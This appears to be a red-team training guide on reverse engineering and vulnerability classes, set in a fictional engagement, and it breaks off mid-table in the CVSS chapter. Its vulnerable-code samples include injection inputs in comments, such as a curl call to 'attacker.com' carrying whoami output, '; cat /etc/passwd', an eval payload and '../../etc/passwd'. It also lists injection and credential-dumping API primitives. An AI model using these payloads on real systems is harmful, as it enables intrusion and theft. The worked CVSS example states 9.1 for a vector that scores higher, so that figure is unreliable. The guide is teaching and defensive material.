WARMUP — Reverse Engineering & Vulnerability Discovery
Operation Cedar Lattice, Phase 11. Before touching the labs, read every chapter in sequence. This guide takes you from zero knowledge of reverse engineering through binary triage methodology, Shannon entropy theory, x86-64 calling conventions, import table analysis, source code review methodology, the full vulnerability class taxonomy, CVSS v3.1 scoring, responsible disclosure, and complete lab walkthroughs. The lab walkthrough at the end shows exactly what each lab tests and what the solution must implement.
Table of Contents
- Chapter 1: What Is Reverse Engineering and Why Red Teams Need It
- Chapter 2: Binary Triage Workflow
- Chapter 3: Shannon Entropy and Packing Detection
- Chapter 4: x86-64 Calling Conventions
- Chapter 5: Import Table Analysis as Intent Signal
- Chapter 6: Source Code Review Methodology
- Chapter 7: Vulnerability Classes
- Chapter 8: CVSS v3.1 Scoring
- Chapter 9: Responsible Disclosure
- Chapter 10: Misconceptions
- Chapter 11: Lab Walkthroughs
- Chapter 12: Interview Q&A
- References
Chapter 1: What Is Reverse Engineering and Why Red Teams Need It
1.1 Defining the Discipline
Reverse engineering (RE) is the process of understanding a system — software, hardware, or protocol — by analyzing its observable behavior and artifacts rather than its original design documents. In the context of offensive security, RE refers specifically to the analysis of compiled binaries, obfuscated scripts, and production code to extract behavioral intent.
The phrase "reverse" signals direction: normal software engineering moves from specification to source code to compiled artifact. RE inverts that flow. You start with the compiled artifact (or the obfuscated code, or the protocol capture) and work backward toward understanding what it does.
RE is not the same as decompilation. Decompilation is one tool within RE, and even decompiled output is never source code — it is a reconstructed approximation. Real RE involves combining static analysis (examining the binary without running it), dynamic analysis (running the binary in a controlled environment and observing behavior), and contextual reasoning (using knowledge of the target platform, adversary TTPs, and related samples to fill gaps).
1.2 Why Red Teams Reverse Engineer
Red teamers encounter RE requirements at four distinct points in an engagement lifecycle:
Finding 1: Triage captured tooling. You have access to a binary on the target system — an artifact dropped by a threat actor, a custom admin tool, or a suspicious scheduled task. Before committing hours to full analysis, you need a rapid assessment: is this packed? What does it import? What strings does it contain? These three questions take ten minutes and tell you whether the binary is worth deeper investigation or can be dismissed.
Finding 2: Analyze target software for exploitability. Meridian Freight International runs a custom logistics management application. The application source may contain SQL injection in a query builder, command injection in a diagnostic endpoint, or unsafe deserialization in a plugin loader. Source code review and binary triage surface these weaknesses before or after decompilation.
Finding 3: Understand evasion to replicate or detect it. FIN-LATTICE uses UPX and Themida packing to hide code from antivirus. Understanding how these packers modify the binary's entropy, section layout, and import table helps you both recognize the packing technique in new samples and write detection rules that survive packer variations.
Finding 4: Build proof-of-concept to demonstrate impact. A finding without a PoC is a recommendation, not a proof. RE informs PoC construction by revealing what the code actually does — the precise function offsets, calling conventions, and return value semantics that a PoC must interact with.
1.3 ATT&CK Techniques Covered
Phase 11 maps to the following MITRE ATT&CK techniques and sub-techniques:
| Technique | ID | Description |
|---|---|---|
| Obfuscated Files or Information: Software Packing | T1027.002 | UPX, Themida, custom packing |
| Obfuscated Files or Information: Binary Padding | T1027.001 | Entropy manipulation |
| Exploitation for Client Execution | T1203 | Source code vulnerability exploitation |
| Software Discovery | T1518 | Binary triage to identify installed tools |
| Deobfuscate/Decode Files or Information | T1140 | Unpacking packed binaries |
1.4 The Triage-Analysis-Report Pipeline
Every RE engagement follows the same three-phase pipeline regardless of the target:
- Triage (10 minutes): entropy scan, section names, import count, string extraction, packer signature check. Produces a classification and a go/no-go decision for deeper analysis.
- Analysis (hours to days): disassembly, decompilation, dynamic analysis in a sandbox, network behavior, memory forensics. This is what fills the middle of an RE report.
- Report (hours): structured findings, CWE mapping, CVSS score, detection rules, remediation recommendations. This is what the client acts on.
Phase 11 labs cover the triage stage (Lab 01) and the source code analysis component of stage two (Lab 02). The report stage is covered in Phase 12.
Chapter 2: Binary Triage Workflow
2.1 The 10-Minute Triage
When a binary lands on your analysis workstation, you have ten minutes before you need to produce a preliminary assessment. A professional triage follows these steps in order:
Step 1 — File type identification (30 seconds)
Use file on Linux/macOS or a tool like Detect-It-Easy (DIE) on Windows. Do not
trust the file extension. A DLL named .exe is common. Obfuscated PE files sometimes
have no extension at all. The file command reads magic bytes:
- PE: first two bytes are
MZ(0x4D 0x5A) - ELF: first four bytes are
\x7fELF - Mach-O: first four bytes are
\xfe\xed\xfa\xce(32-bit) or\xfe\xed\xfa\xcf(64-bit)
The PE Optional Header further distinguishes PE32 (32-bit) from PE32+ (64-bit).
Step 2 — Hash and pivot (1 minute)
Compute SHA-256. Submit to VirusTotal (if the engagement permits external data transfer — most red team rules of engagement do NOT). Cross-reference with internal threat intel if available. If the hash matches a known sample, your triage may already be complete.
Step 3 — Section analysis (2 minutes)
List all sections and their entropy values. Tools: readpe (Linux), PE-bear (Windows),
python-pefile (scripted). Normal PE sections:
| Section | Typical Entropy | Contents |
|---|---|---|
.text | 5.0–6.5 | Executable code (instruction mnemonics have moderate entropy) |
.rdata | 3.5–5.5 | Read-only data (strings, vtables, import/export tables) |
.data | 2.0–4.5 | Initialized writable data |
.rsrc | 2.0–7.5 | Resources (icons, strings, manifests — varies widely) |
.reloc | 3.0–5.0 | Relocation table |
Entropy above 7.0 bits/byte indicates content that has been either compressed or encrypted. This is the primary packing indicator. See Chapter 3 for the mathematical foundation.
Step 4 — Import table analysis (2 minutes)
The import table is the binary's dependency manifest. It tells you which DLLs the binary
loads at startup and which functions it calls from those DLLs. See Chapter 5 for the
complete intent-signal taxonomy. Critical observation: a legitimate executable typically
has dozens to hundreds of imports. A packed binary may have only two to five — typically
LoadLibraryA and GetProcAddress, the minimum needed to reconstruct its import table
at runtime after unpacking.
Step 5 — String extraction (2 minutes)
Run strings (minimum printable length 6) against the binary. Look for:
- URLs and IP addresses (C2 indicators)
- File paths (operational artifacts)
- Registry key paths (persistence indicators)
- Command strings (
cmd.exe,powershell,wscript) - PDB paths (developer artifact — reveals internal project name and directory structure)
- Mutex names (anti-collision identifiers shared across malware instances)
Step 6 — Metadata analysis (1 minute)
Check the PE timestamp field. A timestamp of 0 means it was zeroed — a deliberate opsec measure. The timestamp of a legitimate binary reflects its compile time. Attackers zero the timestamp to prevent analysts from inferring build dates. Zeroed timestamps are correlated with professional threat actors (FIN groups, state-sponsored).
Imphash (import hash): a hash of the import table's DLL and function names in canonical order. Identical imphash values across samples indicate they share a compiler toolchain and import set — a clustering signal for malware families.
Step 7 — Classification and escalation decision (1 minute)
Based on steps 1–6, classify the binary:
- Loader: loads and executes another payload. Indicators:
LoadLibraryA+GetProcAddressas only imports, reflective loading export, high entropy sections. - Injector: injects code into another process. Indicators:
NtAllocateVirtualMemory+NtWriteVirtualMemoryorWriteProcessMemory,OpenProcess. - Credential stealer: targets authentication material. Indicators:
lsass,SAM,NTLMin strings,ReadProcessMemoryin imports. - Dropper: downloads and executes a next-stage payload. Indicators: HTTP URL strings,
WinInetorWinHTTPimports, packing. - Unknown: proceed to deep analysis.
2.2 Tooling Stack for Binary Triage
| Tool | Platform | Purpose |
|---|---|---|
file | Linux/macOS | Magic byte identification |
strings | Linux/macOS | Printable string extraction |
readelf | Linux | ELF binary analysis |
readpe / objdump | Linux | PE section and import analysis |
| PE-bear | Windows | GUI PE editor and analyzer |
| Detect-It-Easy (DIE) | Cross-platform | Packer detection, file type ID |
| Ghidra | Cross-platform | NSA-released free disassembler/decompiler |
| Binary Ninja | Cross-platform | Commercial disassembler with Python API |
| IDA Pro | Cross-platform | Industry-standard disassembler |
| x64dbg | Windows | Open-source 64-bit debugger |
| Cuckoo Sandbox | Cross-platform | Automated dynamic analysis sandbox |
Chapter 3: Shannon Entropy and Packing Detection
3.1 Information Theory Foundation
Claude Shannon introduced entropy as a measure of information density in his 1948 paper "A Mathematical Theory of Communication." In the context of binary analysis, entropy measures how unpredictable the byte values in a region of the binary are.
The entropy formula for a sequence of bytes is:
H = - sum(p_i * log2(p_i)) for each unique byte value i
Where:
His entropy in bits per byte (range: 0.0 to 8.0)p_iis the probability that a randomly selected byte equals valuei- The sum runs over all 256 possible byte values (0x00 through 0xFF)
log2(0) * 0is defined as 0 (limit convention)
Interpretation:
H = 0.0: Every byte is identical. Example: a section filled with0x00bytes.H = 8.0: Every byte value (0–255) appears with equal frequency. This is the theoretical maximum and is approached by compressed, encrypted, or random data.H ≈ 5.0–6.5: Normal executable code. x86 instruction encodings have moderate but non-uniform distribution.H > 7.0: Almost certainly compressed, encrypted, or packed content.
3.2 Why Packing Drives Entropy High
A PE packer works in two stages:
- Packing stage (build time): The packer takes the original PE sections, compresses or encrypts them, and writes the result as new section data. Compression removes redundancy (low-entropy patterns), pushing the byte distribution toward uniformity. Encryption (even XOR with a random key) makes byte values pseudo-random.
- Unpacking stub (runtime): The packed binary contains a small executable stub (the "unpacking engine") in a low-entropy section (because stub code is x86 instructions, not random bytes). When the OS loads the binary, execution begins at the stub's entry point. The stub decompresses or decrypts the original sections into memory and then transfers execution to the original entry point (OEP — Original Entry Point).
This explains why packed binaries look the way they do:
- High-entropy sections (the packed payload — compressed or encrypted original code)
- Very few imports (the stub only needs
VirtualAllocand the minimal Win32 API to reconstruct the real import table at runtime) - Sometimes a single
.textsection (all the compressed data in one blob) or specially named sections (.UPX0,.UPX1)
3.3 UPX Packer
UPX (Ultimate Packer for eXecutables) is an open-source, portable packer. It is the most commonly encountered packer in malware because it is:
- Free and well-documented
- Available for dozens of file formats and platforms
- Easy to automate
- Not inherently malicious (it is used by legitimate software for distribution size reduction)
UPX packed binaries are recognizable by section names:
| Section | Content |
|---|---|
.UPX0 | Packed (compressed) original code — high entropy, typically no data |
.UPX1 | Unpacking stub code — normal x86 entropy |
.rsrc | Optional — resources not packed by UPX |
The .UPX0 section has a raw size of zero but a virtual size equal to the uncompressed
payload size. This layout is unique to UPX and is a reliable detection signature.
UPX can be detected and unpacked with the upx -d command, which reverses the packing
process: upx -d packed_binary.exe -o unpacked.exe.
3.4 Themida
Themida is a commercial software protector (not a packer in the traditional sense — it is a virtualizer and protector). It is substantially harder to defeat than UPX. Themida:
- Encrypts the original code
- Replaces instructions with custom virtual machine bytecode that runs on a proprietary VM engine embedded in the binary
- Actively detects and defeats debuggers (anti-debug), disassemblers, and memory scanners
- The protected section is typically named
themidaor.themida
Themida-protected binaries have high entropy in the protected section because the VM bytecode and encryption keys produce near-random byte distributions. Import tables are minimal because all API calls are redirected through the VM.
3.5 Computing Entropy in Python
import math
from collections import Counter
def shannon_entropy(data: bytes) -> float:
"""Compute Shannon entropy of byte sequence. Returns bits per byte (0.0-8.0)."""
if not data:
return 0.0
n = len(data)
counts = Counter(data)
return -sum((c / n) * math.log2(c / n) for c in counts.values())
For a section filled with 256 equally frequent byte values:
H = -256 * (1/256) * log2(1/256) = -256 * (1/256) * (-8) = 8.0
For a section filled with identical bytes (say, all 0x00):
H = -(1.0 * log2(1.0)) = -(1.0 * 0) = 0.0
3.6 False Positives
High entropy does not guarantee packing. These legitimate cases also produce high entropy:
- Encrypted resources: DRM-protected content, license keys stored encrypted in
.rsrc - Compressed data: ZIP/ZLIB compressed resources embedded in the binary
- Cryptographic tables: AES S-box constants, elliptic curve parameters
- Media data: Audio, video, or image data embedded as resources
This is why the packing detection heuristic combines entropy with import count: a packed binary typically has both high entropy AND very few imports. A binary with high entropy but a full, rich import table is more likely to contain embedded compressed resources than to be a packed loader.
Chapter 4: x86-64 Calling Conventions
4.1 Why Calling Conventions Matter for RE
When analyzing disassembled code, you need to understand how function arguments are passed and how return values are communicated. Without this knowledge, you cannot:
- Identify what data a function receives as input
- Identify what a function returns
- Understand how the stack is set up and cleaned up around calls
- Reconstruct function signatures during decompilation
Two calling conventions dominate x86-64 analysis: System V AMD64 ABI (Linux, macOS, BSDs) and Microsoft x64 ABI (Windows). They are different and incompatible.
4.2 System V AMD64 ABI (Linux and macOS)
Defined in the "System V Application Binary Interface, AMD64 Architecture Processor Supplement" (often called "the System V ABI" or "the psABI").
Integer and pointer arguments (first 6):
| Position | Register |
|---|---|
| 1st arg | RDI |
| 2nd arg | RSI |
| 3rd arg | RDX |
| 4th arg | RCX |
| 5th arg | R8 |
| 6th arg | R9 |
Arguments beyond the sixth are pushed onto the stack right-to-left.
Return value: RAX for integer/pointer return values up to 64 bits. RDX:RAX for
128-bit integers. Floating-point return values use XMM0.
Caller-saved (volatile) registers: RAX, RCX, RDX, RSI, RDI, R8, R9, R10, R11. These may be overwritten by the callee; the caller must save them before the call if it needs their values afterward.
Callee-saved (non-volatile) registers: RBX, RBP, R12, R13, R14, R15. The callee must preserve these across the call.
Red zone: The 128 bytes below RSP are reserved (the "red zone"). A leaf function (one that makes no further calls) can use this area without adjusting RSP. Non-leaf functions must subtract from RSP to allocate stack space.
Stack alignment: RSP must be 16-byte aligned immediately before the call instruction.
A call pushes an 8-byte return address, making RSP 8-byte aligned at function entry.
The standard prologue restores 16-byte alignment.
Standard prologue:
push rbp ; save caller's base pointer (callee-saved)
mov rbp, rsp ; establish stack frame (RBP = frame pointer)
sub rsp, N ; allocate N bytes of local storage (N = 16-byte aligned)
Standard epilogue:
leave ; equivalent to: mov rsp, rbp; pop rbp
ret ; pop return address from stack and jump to it
Or equivalently:
mov rsp, rbp ; deallocate local storage
pop rbp ; restore caller's base pointer
ret
4.3 Microsoft x64 ABI (Windows)
Integer and pointer arguments (first 4):
| Position | Register |
|---|---|
| 1st arg | RCX |
| 2nd arg | RDX |
| 3rd arg | R8 |
| 4th arg | R9 |
Arguments beyond the fourth are pushed onto the stack.
Key difference from System V: Only 4 register arguments vs 6. The first argument goes in RCX (not RDI). This is the most common source of confusion when switching between Linux and Windows RE.
Shadow space (home space): The caller must allocate 32 bytes (four 8-byte slots) of "shadow space" on the stack before any call, even if fewer than four arguments are passed. This gives the callee space to spill (save) the register arguments if it needs to. The callee does NOT need to use this space, but the caller MUST allocate it.
sub rsp, 40 ; 32 bytes shadow + 8 to maintain 16-byte alignment
call some_function
add rsp, 40 ; clean up shadow space
Caller-saved (volatile) registers: RAX, RCX, RDX, R8, R9, R10, R11.
Callee-saved (non-volatile) registers: RBX, RBP, RDI, RSI, R12, R13, R14, R15, XMM6-XMM15. Note: RDI and RSI are callee-saved on Windows (opposite of System V where they are caller-saved argument registers).
Return value: RAX for integer/pointer.
Stack alignment: RSP must be 16-byte aligned before the call instruction.
4.4 Reading Function Prologues in Disassembly
When you see these patterns in disassembly, recognize them immediately:
System V function start:
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 80 bytes of local storage
Windows x64 function start:
push rbp
mov rbp, rsp
sub rsp, 0x28 ; 32 bytes shadow + 8 bytes alignment
Leaf function (no stack frame, uses red zone — System V only):
; No prologue at all — function starts directly with work
mov eax, [rdi]
ret
Saving callee-saved registers (Windows):
push rbp
push rbx ; Windows: callee-saved
push rdi ; Windows: callee-saved (unlike System V)
push rsi ; Windows: callee-saved (unlike System V)
mov rbp, rsp
sub rsp, 0x20
4.5 Calling Convention Misidentification — A Common RE Error
This happens when analyzing Windows malware using a disassembler configured for System V.
The decompiler may attribute the wrong arguments to function parameters. If you see
what looks like a function that reads from RDI at the start of a Windows binary's
user-mode code, the decompiler is wrong — Windows functions receive their first argument
in RCX, not RDI. Always verify the target OS's ABI before interpreting decompiled
pseudo-code.
Chapter 5: Import Table Analysis as Intent Signal
5.1 The Import Table as a Behavioral Manifest
The PE Import Address Table (IAT) is a structured list of DLL names and function names that the loader resolves at process startup. Every function call to an external DLL goes through the IAT at runtime. Before any code executes, the Windows loader reads the import directory, loads each DLL, resolves each function's address, and writes it into the IAT. From an analysis perspective, this means:
The import table is a declaration of intent. A binary that imports NetUserEnum
and LsaEnumerateLogonSessions is declaring that it enumerates user accounts and
active logon sessions. A binary that imports WriteProcessMemory and CreateRemoteThread
is declaring that it writes into another process and starts a thread there.
5.2 High-Signal Import Combinations
These import combinations have high specificity for malware classification:
Loader / Shellcode runner:
LoadLibraryA+GetProcAddress(alone, with no other imports): The classic loader skeleton. These two functions are sufficient to call any other Win32 API at runtime by resolving it dynamically, allowing the packer or loader to hide all other API usage.VirtualAlloc+VirtualProtect: Allocate executable memory and mark it executable. Combined with the above, this is the complete shellcode execution primitive.
Process injection:
OpenProcess+VirtualAllocEx+WriteProcessMemory+CreateRemoteThread: Classic remote process injection (T1055.001). Opens a target process, allocates memory, writes shellcode, starts a thread.NtAllocateVirtualMemory+NtWriteVirtualMemory+NtCreateThreadEx: NT native API variant — avoids the Win32 layer, harder to hook, preferred by sophisticated malware.
Credential theft:
MiniDumpWriteDump+OpenProcess: LSASS dump. Combined with LSASS process handle, this is the Mimikatz credential dump primitive.SamOpenDatabase+SamOpenDomain+SamEnumerateUsersInDomain: Direct SAM access. Reads the local SAM database for password hashes.LsaOpenPolicy+LsaRetrievePrivateData: LSA secrets access. Reads LSA-protected credentials from registry-backed storage.
Network communication:
InternetOpenA+InternetOpenUrlA+InternetReadFile(WinInet): Classic HTTP client. C2 beacons typically use WinInet orWinHttpOpen+ friends.socket+connect+send+recv(Winsock): Raw socket communication. DNS-over-TCP, custom binary protocols.WSAStartupalone: Winsock initialization. Any network activity requires this.
Anti-analysis:
IsDebuggerPresent+CheckRemoteDebuggerPresent: Basic debugger detection.GetTickCount64+ timing checks: Timing-based anti-analysis.NtQuerySystemInformation: Used to enumerate processes or detect sandbox artifacts.
5.3 Reconstruction at Runtime (Import Hiding)
A packed or obfuscated binary may have NO visible import table entries, or only
LoadLibraryA and GetProcAddress. The real API calls are resolved at runtime:
1. Unpacking stub decrypts/decompresses the original code into RWX memory.
2. Code constructs a string "kernel32.dll" and calls LoadLibraryA(string).
3. Code constructs a string "VirtualAlloc" and calls GetProcAddress(handle, string).
4. Returned function pointer is stored in a variable and called directly.
This hides all imports from the static IAT. Detection strategies:
- Entropy analysis (reveals packing, which triggers dynamic analysis)
- API call tracing in sandbox (Cuckoo, Any.run)
- Breakpoint on
GetProcAddressin debugger and log all resolved functions
5.4 Classification Decision Tree
Is import count <= 3?
YES -> Likely packed or obfuscated. Check entropy (Chapter 3).
NO -> Continue classification.
Does import set contain:
NtAllocateVirtualMemory AND (NtWriteVirtualMemory OR WriteProcessMemory)?
YES -> Injector. T1055 family.
ReadProcessMemory AND (lsass OR SAM strings)?
YES -> Credential stealer. T1003 family.
WinInet OR WinHTTP API family?
YES -> Network capability. Check for C2 URL strings.
Nothing suspicious?
YES -> Legitimate or highly obfuscated. Proceed to dynamic analysis.
Chapter 6: Source Code Review Methodology
6.1 Why Source Code Review Is an RE Skill
Source code review sits at the intersection of reverse engineering and vulnerability research. When you have access to source code — through a phishing engagement that yields internal repository access, a misconfigured Git server, an S3 bucket with source code, or as part of a white-box engagement — structured code review accelerates vulnerability discovery by orders of magnitude compared to binary analysis.
The same mental model applies: you are reading an artifact (source code rather than a binary) to understand behavioral intent, and specifically to identify where the code performs dangerous operations with attacker-controlled data.
6.2 The Source Code Review Mental Model
The fundamental question in source code review is:
Does attacker-controlled data flow from an input source to a dangerous sink without adequate sanitization or validation?
- Source: Where attacker-controlled data enters the application. HTTP request parameters, URL path segments, uploaded file names, JSON body fields, HTTP headers, environment variables.
- Sink: Where dangerous operations occur. Database query execution, command execution, file system access, deserialization, template rendering.
- Sanitization: What transformations or validations occur between source and sink. Are they correct? Are they bypassable? Are they applied consistently?
When a source reaches a sink without proper sanitization, a vulnerability exists.
6.3 Structured Review Workflow
Phase 1 — Reconnaissance (10 minutes)
- Identify the technology stack and frameworks
- Find all input sources: HTTP handlers, file upload endpoints, CLI argument parsers, etc.
- Identify all sinks: database calls, subprocess calls, file I/O, eval/exec calls
Phase 2 — High-risk pattern scan (20 minutes per component)
- Search for patterns by vulnerability class (see Chapter 7)
- Use grep or a semantic code search tool (Semgrep, CodeQL)
- Produce a prioritized hit list: CRITICAL first
Phase 3 — Taint analysis (per finding)
- For each hit: trace the data backward from the sink to its source
- Determine if attacker-controlled data reaches the sink
- Identify any sanitization in the data flow and assess its adequacy
Phase 4 — Proof of concept construction
- For high-confidence findings, construct a minimal PoC input that demonstrates impact
- Document the complete data flow from source to sink
- Assign a CWE and CVSS score
6.4 Tool-Assisted Review
| Tool | Type | Strengths |
|---|---|---|
| Semgrep | Pattern matching | Fast, rule-based, good for known-bad patterns |
| CodeQL | Semantic analysis | Taint tracking, understands data flow |
| Bandit | Python-specific | Focuses on Python common pitfalls |
| Brakeman | Ruby on Rails | Framework-aware for Rails apps |
| SpotBugs / FindSecBugs | Java | Java-specific security patterns |
| Checkmarx | Commercial SAST | Full data flow, enterprise scale |
For the Cedar Lattice engagement, Meridian Freight runs a Python Django backend. Bandit and Semgrep with the Python rule packs are the appropriate starting points.
Chapter 7: Vulnerability Classes
7.1 CWE-89: SQL Injection
Definition: The application uses user-supplied input to construct SQL queries without adequate sanitization or parameterization.
Why it is dangerous: SQL injection allows an attacker to alter the semantics of a
database query. Depending on the database and query, impact ranges from data exfiltration
(reading unauthorized rows), authentication bypass (making WHERE password = '...' always
true), data destruction (DELETE FROM users), to remote code execution via
xp_cmdshell in SQL Server or COPY TO/FROM PROGRAM in PostgreSQL.
Python vulnerable pattern:
# VULNERABLE: string concatenation into SQL
def get_shipment(conn, shipment_id):
query = "SELECT * FROM shipments WHERE id = " + shipment_id
cursor = conn.execute(query)
return cursor.fetchone()
# VULNERABLE: %-style string formatting
def get_user(conn, username):
query = "SELECT * FROM users WHERE name = '%s'" % username
return conn.execute(query).fetchone()
# VULNERABLE: f-string
def get_order(conn, order_id):
query = f"SELECT * FROM orders WHERE id = {order_id}"
return conn.execute(query).fetchone()
Safe pattern (parameterized queries):
# SAFE: parameterized query — user input never interpreted as SQL
def get_shipment_safe(conn, shipment_id):
cursor = conn.execute(
"SELECT * FROM shipments WHERE id = ?",
(shipment_id,)
)
return cursor.fetchone()
Detection rule pattern: Look for SQL keywords (SELECT, INSERT, UPDATE, DELETE, WHERE) on lines that also contain string concatenation operators or f-string variable markers.
MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
7.2 CWE-78: Command Injection
Definition: The application uses user-supplied input in a command that is executed by the operating system shell without adequate sanitization.
Why it is dangerous: Command injection allows an attacker to execute arbitrary OS commands in the context of the application process. If the application runs as a privileged user, the attacker gains the same privileges. Combining command injection with a network- accessible endpoint yields remote code execution (RCE) — the highest-impact class of web vulnerability.
Python vulnerable patterns:
import os
import subprocess
# VULNERABLE: os.system with user input
def run_diagnostic(tool_name):
os.system("ping -c 4 " + tool_name)
# Attack input: "localhost; cat /etc/passwd"
# Executed: ping -c 4 localhost; cat /etc/passwd
# VULNERABLE: subprocess with shell=True
def generate_report(output_path, fmt):
subprocess.run(f"reportgen --format {fmt} --output {output_path}", shell=True)
# Attack input for fmt: "json && curl http://attacker.com/$(whoami)"
# VULNERABLE: eval() with user input
def load_config(config_expr):
return eval(config_expr)
# Attack input: "__import__('os').system('id')"
Safe alternatives:
# SAFE: list form, no shell
def run_diagnostic_safe(tool_name):
# No shell=True; list form prevents command injection
subprocess.run(["ping", "-c", "4", tool_name], capture_output=True)
# SAFE: parameterized, shell=False (default)
def generate_report_safe(output_path, fmt):
allowed_formats = {"json", "csv", "pdf"}
if fmt not in allowed_formats:
raise ValueError(f"Invalid format: {fmt}")
subprocess.run(["reportgen", "--format", fmt, "--output", output_path])
Detection rule pattern: Lines containing os.system(, shell=True (not in comments),
or eval(.
7.3 CWE-22: Path Traversal
Definition: The application uses user-supplied input to construct a file path without adequate validation, allowing an attacker to access files outside the intended directory.
Why it is dangerous: Path traversal allows an attacker to read or write arbitrary files
accessible to the application process. Common targets: /etc/passwd, /etc/shadow,
application configuration files with database credentials, SSH private keys, environment
files with API keys.
Python vulnerable patterns:
import os
# VULNERABLE: string concatenation in open()
def serve_document(request):
filename = request.args.get("file")
with open("/var/app/docs/" + filename, "rb") as f:
return f.read()
# Attack input: "../../etc/passwd"
# Resolved: open("/var/app/docs/../../etc/passwd")
# Effective: open("/etc/passwd")
# VULNERABLE: os.path.join() with user input — join does NOT sanitize traversal
def get_config(args):
config_path = os.path.join("/etc/app/configs", args["username"])
with open(config_path) as f:
return f.read()
# Common misconception: os.path.join() is NOT safe for user-supplied paths.
# os.path.join("/etc/app", "../etc/passwd") = "/etc/app/../etc/passwd"
# os.path.normpath() resolves it to "/etc/passwd" — still traversed.
# Only os.path.realpath() + prefix check prevents traversal.
Safe pattern:
import os
SAFE_BASE = "/var/app/docs"
def serve_document_safe(request):
filename = request.args.get("file")
# Resolve to absolute path
full_path = os.path.realpath(os.path.join(SAFE_BASE, filename))
# Verify the resolved path is within the allowed base directory
if not full_path.startswith(SAFE_BASE + os.sep):
raise ValueError("Path traversal detected")
with open(full_path, "rb") as f:
return f.read()
7.4 CWE-502: Deserialization of Untrusted Data
Definition: The application deserializes data from an untrusted source without validation, potentially allowing an attacker to control the deserialized object graph and trigger arbitrary code execution during deserialization.
Python vulnerable pattern:
import pickle
# VULNERABLE: pickle.loads() with user-supplied data
def load_user_session(session_data: bytes):
return pickle.loads(session_data)
# Attack: craft a pickle payload that executes os.system("id") during deserialization
# Python pickle allows arbitrary __reduce__ methods which run during load.
The pickle module's documentation explicitly states it is NOT secure. Any pickle.loads()
call on data that an attacker can control is a critical vulnerability — it is effectively
remote code execution with no additional precondition.
Safe alternative: Use JSON for data serialization where possible. If complex objects
must be serialized, use a library like marshmallow with strict schema validation, or
define an allow-list of safe types and use pickle.loads() only with validated data from
trusted sources (which effectively means never from network input).
7.5 CWE-120: Buffer Copy Without Checking Size (Classic Buffer Overflow)
Definition: The application copies data into a fixed-size buffer without verifying that the data fits, allowing an attacker to overwrite adjacent memory.
This vulnerability is most relevant in C and C++ code. Python's memory model prevents
classic buffer overflows in pure Python. However, Python C extensions and native bindings
(.so / .pyd files) can contain classic buffer overflows reachable through Python calls.
C vulnerable pattern (for understanding, not Python):
// VULNERABLE: strcpy without length check
void process_input(char *user_data) {
char buffer[64];
strcpy(buffer, user_data); // No length check — overflow if len(user_data) > 63
}
For red team purposes, CWE-120 surfaces in:
- Native modules called from Python scripts
- Embedded systems running C code exposed via APIs
- Legacy C/C++ code in the Meridian Freight logistics system
Chapter 8: CVSS v3.1 Scoring
8.1 What CVSS Is and What It Is Not
The Common Vulnerability Scoring System (CVSS) v3.1 is a standardized framework for assessing the severity of security vulnerabilities. It produces a numeric score from 0.0 to 10.0 and a qualitative label (None, Low, Medium, High, Critical). CVSS is published by FIRST (Forum of Incident Response and Security Teams).
What CVSS measures: The intrinsic severity of a vulnerability — how difficult it is to exploit and what impact successful exploitation has. It is environment-agnostic by design for the Base Score.
What CVSS does NOT measure:
- Exploitation likelihood in practice (Temporal Score partially addresses this)
- Business impact (Environmental Score partially addresses this)
- Whether a patch is available
- The actual risk to a specific organization
A CVSS score is one data point. A critical vulnerability in an isolated internal system that requires physical access may be less urgent than a high-severity vulnerability in an internet-facing authentication endpoint.
8.2 Base Score Metrics
The Base Score is computed from eight metrics in two groups:
Exploitability Metrics (how easy is it to exploit?):
| Metric | Abbreviation | Values | Notes |
|---|---|---|---|
| Attack Vector | AV | N / A / L / P | Network / Adjacent / Local / Physical |
| Attack Complexity | AC | L / H | Low / High |
| Privileges Required | PR | N / L / H | None / Low / High |
| User Interaction | UI | N / R | None / Required |
Impact Metrics (what is the damage if exploited?):
| Metric | Abbreviation | Values | Notes |
|---|---|---|---|
| Scope | S | U / C | Unchanged / Changed |
| Confidentiality | C | N / L / H | None / Low / High |
| Integrity | I | N / L / H | None / Low / High |
| Availability | A | N / L / H | None / Low / High |
8.3 Metric Values in Detail
Attack Vector (AV):
N(Network): Exploitable remotely without physical or network proximity. Example: SQL injection in a web application. This is the highest risk.A(Adjacent): Requires network adjacency (same subnet, Bluetooth, etc.). Example: ARP spoofing on a local LAN.L(Local): Requires a local user account or equivalent local access. Example: privilege escalation via SUID binary.P(Physical): Requires physical access to the device. Example: cold boot attack on encrypted disk.
Attack Complexity (AC):
L(Low): No special conditions required. Reproducible reliably. Example: SQL injection with no WAF, no rate limiting.H(High): Requires specific conditions (race condition, non-default config, prior knowledge of internal state). Example: race condition in a file write operation.
Privileges Required (PR):
N(None): No authentication required.L(Low): Requires low-privilege authenticated access.H(High): Requires high-privilege (admin/root) access.
User Interaction (UI):
N(None): No user action required beyond the attacker's own actions.R(Required): A victim user must perform some action (click a link, open a file).
Scope (S):
U(Unchanged): Exploitation impacts only the vulnerable component itself.C(Changed): Exploitation can impact components beyond the vulnerable component. Example: container escape from a container into the host OS.
Confidentiality / Integrity / Availability (C/I/A):
N(None): No impact on this property.L(Low): Some loss, but limited in scope.H(High): Total loss of confidentiality, integrity, or availability.
8.4 Qualitative Severity Ranges
| Score | Severity |
|---|---|
| 0.0 | None |
| 0.1 – 3.9 | Low |
| 4.0 – 6.9 | Medium |
| 7.0 – 8.9 | High |
| 9.0 – 10.0 | Critical |
8.5 Example Scoring: SQL Injection in Meridian Freight Shipment API
Scenario: SQL injection in the shipment lookup endpoint of the Meridian Freight web application. The endpoint is internet-facing. No authentication is required to reach it. Successful exploitation allows extraction of all shipment records including PII and freight contracts.
| Metric | Value | Rationale |
|---|---|---|
| AV | N | Exploitable over the internet |
| AC | L | No special conditions; straightforward injection |
| PR | N | No authentication required |
| UI | N | No user interaction |
| S | U | Impact limited to the database component |
| C | H | All database records exposed |
| I | H | Data can be modified or deleted via UPDATE/DELETE |
| A | L | Database remains functional; availability minor impact |
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
The CVSS 3.1 calculator produces a Base Score of 9.1 — Critical. This finding must be remediated before production launch and should be escalated immediately upon discovery.
8.6 Example Scoring: Path Traversal in File Download Endpoint
Scenario: Path traversal in the document download endpoint. Requires a valid user session (low-privilege authentication). Can access any file readable by the web application user. On the target server, this includes the application configuration file with database credentials.
| Metric | Value | Rationale |
|---|---|---|
| AV | N | Exploitable over the internet |
| AC | L | Simple traversal payload |
